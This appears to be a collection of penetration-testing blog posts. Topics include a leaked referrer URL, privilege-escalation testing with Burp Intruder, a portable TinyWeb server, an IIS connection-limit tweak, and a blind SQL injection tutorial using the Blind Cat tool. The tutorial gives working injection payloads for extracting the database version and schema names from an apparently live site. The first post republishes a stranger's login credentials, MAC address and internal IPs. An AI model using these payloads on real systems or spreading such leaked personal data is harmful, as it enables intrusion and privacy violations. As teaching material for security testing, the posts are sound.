I don't know really how to comment it... This is what I found recently in my web server logs in the "Referrers" table:
http://10.10.1.1/login?user=0045f2&password=806361&popup=false &dst=http://hcrservermirror.ecnex.com/hccrs/fitio/clogin.php?nasIp=10.10.1.1 &nasId=fitio&loginIp=10.10.1.1:80&vlan=bridge1&macAddress=00:21:6B:15:E3:70 &ipAddress=10.10.1.95&loginPort=&urlPostLogin=http://itsecuritylab.eu/index.php/2010/09/26/pentesting-privilege-escalation-in-web-applications/
So what can I find here? Oh God...
- URL to the Network provider: http://hcrservermirror.ecnex.com/hccrs/fitio/clogin.php
- Someone's internal IPs disclosure: 10.10.1.1, 10.10.1.95
- Login IP and port: 10.10.1.1:80
- MAC address: 00:21:6B:15:E3:70
- Someone's credentials: user=0045f2, password=806361
- NAS ID: fitio
- VLAN name: bridge1
What else I already know (from geolocation info):
- Connection from IP: 22.214.171.124.dsl.dyn.telnor.net
- Country : Mexico
- City : Tijuana
Definitely I will try to mess with this VLAN next time I will be in Tijuana! One thing is clear: if the next time I would get something like this - I should not be surprised at all... ;-)
I think you are already big boys and girls, so think twice what sensitive information about you may leak out, in what weird and unusual way. Make conclusion by yourself and well... Beware! ;-)
Quick tip from my pentesting practice about how you can make your life easier when testing for privilege escalation in web applications.
Background of the problem
Let's imagine that we have a web application to test, so have (at least) two sets of credentials: for a high-privileged user and low-privilege one. When we log-in as high-privileged user (e.g.: admin) - we obviously have access to much more information (more menu items, more functionality, etc.). Now what we want to know - if those items may be accessed directly by low-privileged user. It is clear that if you just would click "here and there" manually (or even copy some URLs) as low-privileged user - you still may omit something important very easily. So the question is: how we may be sure that all combination are checked?
The whole idea is quite simple:
- We have to spider the application from the perspective of high-privileged user. You may use any tools you like (e.g.: Burp Suite, DirBuster, Paros, etc.). Important is to have the whole list of visited URLs written in simple text file.
- We have to log-in as a low-privileged user and get a copy of sample GET request with appropriate cookie (e.g.: Burp, Paros or Fiddler may be used for it).
- We may use Burp's "Intruder" module and re-issue the captured header (with cookie appropriate for low-privileged user) and automatically replace URL with ones from our list.
- We should carefully examine results and look for all discrepancies (e.g.: when unexpectedly status is "200 OK" when it should be an error or redirection).
Assume you have the following URL to test: http://vulnerableapp.com This is the sample list of URLs you may get from your spidering tools being authenticated as high-privileged user:
... /admin/edit_my_details.asp /admin/my_folders.asp /admin/list_suggestions.asp /admin/list_asset.asp /admin/my_assets.asp /admin/usage_category.asp /admin/upload_file.asp /admin/list_category.asp /admin/bulk_copy.asp /admin/list_users.asp /admin/list_subcategory.asp /admin/list_logged_in_users.asp /admin/list_company.asp /admin/manage_project.asp /admin/manage_intro.asp /admin/manage_contacts.asp /admin/manage_event_types.asp ...
So it does mean you were able successfully navigate there from the perspective of high-privileged user. Let's check how far the low-privileged user may go. :-)
Log-in to the system as low-privileged user and copy sample GET request to "Intruder".
In Intruder we must set up the "fuzzing point":
Now use our saved list of URLs as the payload:
Finally, run Intruder and see what happened:
Now all points where low-privileged user have access are clearly visible. The next step would be only to open those URLs in a web browser and check if this user really should be able to access it.
Oh yes, you can also repeat the same trick without cookie at all, so then you may easily check what functionality may be accessed for unauthenticated user.
You know, each of us has some tools we really like to use. Tools which are not "just good". We simply love them. They are nice-looking, reliable, and (this is especially important) - simple and easy to use. One of such little toys I use quite often in exploitation practice (and obviously, in many other weird experiments): is a freeware TinyWeb web server created by Maxim Masiutin from RitLabs. The server is extremely small (actually it's a single file only, about 60 Kb). Despite of it, this little creature serves HTML, executes CGI, supports SSL, writes logs, etc., etc. Full list of features you may find [here].
It's a really nice tool, and recently I had an opportunity to improve TinyWeb server a little bit, so want to share it with you. Obviously this is still not such a full-featured server as Wamp, but it is tiny, handy and can be a significant part of your "pocket hacking toolset". How to use it for your own benefit - I would leave it to you. :-)
So what functionality I added
- TinyWeb supports PHP (Yeeeeaa!). (Can you imagine a web server without PHP? I can't.) Surprisingly, original version of the server had some difficulties running PHP. Now source code is slightly changed, so everything works smoothly. Note: PHP is running as CGI.
- The server is 100% portable now! No need for installation or configuration: just copy it to any folder, make a single click and voila! everything is configured and running immediately (yes, PHP is also configured automatically).
- PHP files may be placed in any folder inside \wwwroot (note that in original TinyWeb server - CGI is handled only in \wwwroot\cgi-bin folder).
Looks good? Och, believe me, it is. Let's see what this little beast can do for us, but "first things first": see what you may download:
- TinyWeb Portable - web server with PHP support (binaries only, most recent PHP is included, CGI demo included) - recommended for download (about 9 MB).
- TinyWeb Portable - web server with PHP support (binaries only, CGI demo included).
- TinyWeb Portable - web server with SSL support (binaries only, SSL fully configured, CGI demo included).
Download source code:
- TinyWeb Portable - web server source code (with my modifications needed to support PHP, also includes the source code for "run_web_server.exe" utility) .
- Run_web_server.exe (the utility, source code only).
- Original TinyWeb 1.93 source code (from RitLabs).
Note that author (Maxim Masiutin) kindly published the source code of standard TinyWeb server only (without SSL support), so this is the only version which is modified by me now (hence supports PHP).
Running the little daemon
Ok, in our first example we will be using the version of the server with PHP support. Download it and unzip to any folder in you PC (you already did it, yea?). Now run the file "run_web_server.exe". Important: you must run it as Administrator. Same application may be used for both versions of TinyWeb: with and without SSL support. Once you have it running - everything should be self-explanatory (not much to configure really):
If you will be using the TinyWeb version with SSL - you would see the following info at the bottom:
Once we have the port chosen: press [RUN] button. Note that LPORT field is grayed now and button [RUN] is also disabled. Our server is running!
Now you can close this application completely, the TinyWeb server would be happily running in the background. How to stop the server? Oh I don't know, try to guess... ;-)
Is it really working?
Ok, the server is running, now let's browse the structure of our folders:
wwwroot ¦ index.htm ¦ index.php ¦ login.htm ¦ +---cgi-bin login.exe shell.php test.cmd test.php test.pl
Those files will be available "on-line" under following URLs:
http://localhost:81/index.htm http://localhost:81/index.php http://localhost:81/login.htm http://localhost:81/cgi-bin/shell.php http://localhost:81/cgi-bin/test.cmd http://localhost:81/cgi-bin/test.php http://localhost:81/cgi-bin/test.pl <-- to run this you must have Perl installed
Try to open it in your browser and see what would happen. :-) Actually any console program with stdIN and stdOUT may be easily handled by TinyWeb server (which is really handy).
Imagine that you have the following batch file:
When you navigate to the following URL: http://localhost:81/cgi-bin/test.cmd you can see in your browser something like this:
Nice, isn't it! :-)
Remember one important thing: PHP is supported in \wwwroot (also in any nested subfolder inside). CGI is handled only in \wwwroot\cgi-bin folder and any subfolders.
Couple of words about TinyWeb with SSL support
This is the original version of TinyWeb binary with SSL support, compiled by Maxim Masiutin. Source code unfortunately is not available, so I may not make necessary modifications, hence PHP is not supported. Sad but true.
Anyway you may download it from here along with sample SSL certificates (and of course with run_web_server.exe) and in fully portable form. So again - nothing to configure. Just unzip, and run!
Everything new is actually well-forgotten old, that's what I think. Recently I had a desperate need to configure IIS 5.1 in our testing environment because of a pretty annoying error message:
HTTP 403.9 - Access Forbidden: Too many users are connected
The reason was quite simple: IIS 5.x by default has a number of connections limited to 10. Our lovely Micro$oft for sure would be happy if we would spend couple of additional quid and buy e.g. Server 2003 instead of good-old XP (if we really need unlimited connections so much). And this is a total rip-off in the middle of the day, right. And we don't like it VERY much. So... Always there is a solution, isn't it. ;-) And what is interesting: pretty legitimate in this case. So sorry for disappointing: we will not be hacking IIS today. No hardcore stuff like cracking, DLL injections, or binary files, etc. Everything is much much simpler.
For sure it was published somewhere before, but I still think this information may be useful for you.
Ok, so here is what you have to do if you want to enable unlimited number of connections for your IIS:
1. Go here [http://support.microsoft.com/...] and download Plugin MetaEdit and install it. Note: do not overwrite the new versions of DLLs with the old ones (you will be asked about it during the installation).
2. Go to: Control Panel --> Administrative Tools --> MetaEdit
3. Run MetaEdit (looks like RegEdit, isn't it?), go to the key LM/W3WSVC/MaxConnections and change the value from 10 to -1 (or 100000 if you feel better).
That's all folks! By the way, the MetaEdit is a very powerful tool which gives you full control over your IIS, so I strongly recommend you to play with it. But considering that it's Friday and the weather is (still) nice - maybe you'd better go out and take some fresh air. :)
Ok, It seems the Blind Cat tool was found to be pretty useful, so thanks all of you for downloading and testing! :-) If you don't know what is it - you are welcomed to read the previous article [here]. Recently I made some updates to the tool as during the last tests it happened that there were some issues when connecting to the target website over SSL. I think this is a good occasion to fix the thing (already done!) and explain one more time how everything works. You will see how easy is to exploit SQL injections with Blind Cat (if you know what you are doing...).
So how to use this blind... thing ;-)? Quick tutorial.
Before going further, download the new version 0.0.1.1 beta binary from [here]. Good. Now let's go through the test case step by step.
Step 1: Confirming SQL injection
So I am using Burp Suite and checking for SQL Injection in some well-know website. This is the HTTP header I am sending when testing "true" condition:
GET /shop/index.php?exec=serv&type=1&mid=15205%20or%201=1--%20&rand=2975386456123 HTTP/1.1 Host: vulnerable.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:126.96.36.199) Gecko/20100722 Firefox/3.6.8 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-gb,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://vulnerable.com/shop/login.php Cookie: PHPSESSID=8547113e62bf285f7f72e9688d098a54
...which gives me this:
Now I am changing the header and testing the "false" condition:
GET /shop/index.php?exec=serv&type=1&mid=15205%20or%201=2--%20&rand=2975386456123 HTTP/1.1 Host: vulnerable.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:188.8.131.52) Gecko/20100722 Firefox/3.6.8 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-gb,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://vulnerable.com/shop/login.php Cookie: PHPSESSID=8547113e62bf285f7f72e9688d098a54
...and the result is:
Very clean and nice example, right? To be sure we are really dealing with with SQL injection (not a kind of strange response from the web server) it does make sense to play some simple maths and send the following query (fragment of the header is below):
GET /shop/index.php?exec=serv&type=1&mid=15205%20or%205=(3+2)--%20&rand=2975386456123 HTTP/1.1 Host: vulnerable.com ...
Once the vulnerability is confirmed we may go forward and configure our CURL parameters. Note that I am sending GET request over HTTPS (it's important in our case).
Step 2. Configuring CURL
We should open curl.config file in our main Blind Cat folder and modify it the following way (keep attention to highlighted elements):
#-------------------------------------- custom header -H "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:184.108.40.206) Gecko/20091102 Firefox/3.5.5" -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" -H "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7" -H "Accept-Language: en-gb,en;q=0.5" -H "Keep-Alive: 300" -H "Content-Type: application/x-www-form-urlencoded" -H "Referer: https://vulnerable.com/shop/login.php" -H "Cookie: PHPSESSID=8547113e62bf285f7f72e9688d098a54" #-------------------------------------- target URL url https://vulnerable.com/shop/index.php?exec=serv&type=1&mid=15205%20or%201=1--%20&rand=2975386456123 #-------------------------------------- use proxy or not #-x localhost:8080 #-------------------------------------- do we need a header to preview? #--dump-header incoming_header.txt
Now we may run the batch file test_curl_settings.cmd which executes CURL with those parameters and stores the result in the file incoming_html.htm. We have 1=1 in our header, remember? Let's check the output file (should be some content there), then change the parameter to 1=2 and then check the output file again (now should be empty). If everything is working properly - now we are ready to extract the data from the back database!
Previous version of Blind Cat was not handling the crappy certificates properly, so in result you might have the following error:
So what I did, I let CURL completely ignore the certificates checking. SSL is still used but the certificate isn't verified anymore. So the appropriate tiny change was made in test_curl_settings.cmd file and in the Blind Cat's source code. FYI: curl.exe should be called the following way now:
curl --config curl.config -k
Step 3. Let's suck some data
Now we may try to extract some real data from the back system. For the beginning - classic: getting the SQL engine version number. Note: in this case we are dealing with MySQL. SQL query to be executed:
...which in our case transforms into something like this:
GET /shop/index.php?exec=serv&type=1&mid=15205%20or%201=(SELECT%20((SELECT%20ASCII(SUBSTRING(@@VERSION,<char_position>,1)))><char_value>))--%20&rand=2975386456123 HTTP/1.1 Host: vulnerable.com ....
Note that > is a "more" sign. Now let's try to list all databases. SQL query:
SELECT schema_name FROM information_schema.schemata
...magically transforms into:
GET /shop/index.php?exec=serv&type=1&mid=15205%20or%201=(SELECT%20((SELECT%20ASCII(SUBSTRING((SELECT%20schema_name%20FROM%20information_schema.schemata%20LIMIT%20<main_iterator>,1),<char_position>,1)))><char_value>))--%20&rand=2975386456123 HTTP/1.1 Host: vulnerable.com ....
The only difference in this case is that we will be reading the multi-line output line by line, so adding LIMIT <x>, 1. Just for any case, let me remind you one more time about where those values are taken from: